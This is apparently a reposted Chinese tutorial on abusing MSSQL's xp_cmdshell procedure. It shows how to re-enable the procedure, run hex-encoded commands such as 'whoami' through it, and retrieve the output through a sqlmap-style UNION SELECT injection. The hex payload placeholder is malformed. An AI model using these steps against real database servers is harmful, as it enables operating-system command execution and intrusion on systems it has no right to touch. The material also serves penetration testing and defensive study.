MSSQL-xp_cmdshell 的利用

来源:互联网 发布:材料力学800题淘宝 编辑:程序博客网 时间:2024/05/20 20:21

一.关于xp_cmdshell

xp_cmdshell是用于执行Windows命令的一个扩展存储过程。

xp_cmdshell 生成的 Windows 进程与 SQL Server 服务帐户具有相同的安全权限。

 自SQL Server 2000后,默认情况下,xp_cmdshell 选项在新安装的软件上处于禁用状态,但是可以运行 sp_configure 系统存储过程来启用它。

二.xp_cmdshell的语法

xp_cmdshell { 'command_string' } [ , no_output ]

'command_string' 包含要传递到操作系统的命令字符串。command_string 的数据类型为 varchar(8000) 或 nvarchar(4000),无默认值。command_string 不能包含一对以上的双引号。如果 command_string 中引用的文件路径或程序名中存在空格,则需要使用一对引号。

no_output可选参数,指定不应向客户端返回任何输出。

三.启用xp_cmdshell

-- To allow advanced options to be changed.EXEC sp_configure 'show advanced options', 1GO-- To update the currently configured value for advanced options.RECONFIGUREGO-- To enable the feature.EXEC sp_configure 'xp_cmdshell', 1GO-- To update the currently configured value for this feature.RECONFIGUREGO

四.xp_cmdshell的利用

1.将要执行的命令先进行十六进制转换然后保存到变量中,最后再执行。

declare @shellcode varchar(600);set @shellcode=0x48inputyourpayload;exec master..xp_cmdshell @shellcode

2.将命令执行结果输出到文件中

DECLARE @cmd sysname, @var sysnameSET @var = 'dir/p'SET @cmd = @var + ' > dir_out.txt'EXEC master..xp_cmdshell @cmd
3.将命令执行结果输出到临时表中

CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))DECLARE @ugye VARCHAR(8000);SET @ugye=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @ugyeunion select null,null,data from sqlmapoutput where id = 1DROP TABLE sqlmapoutput






0 0
原创粉丝点击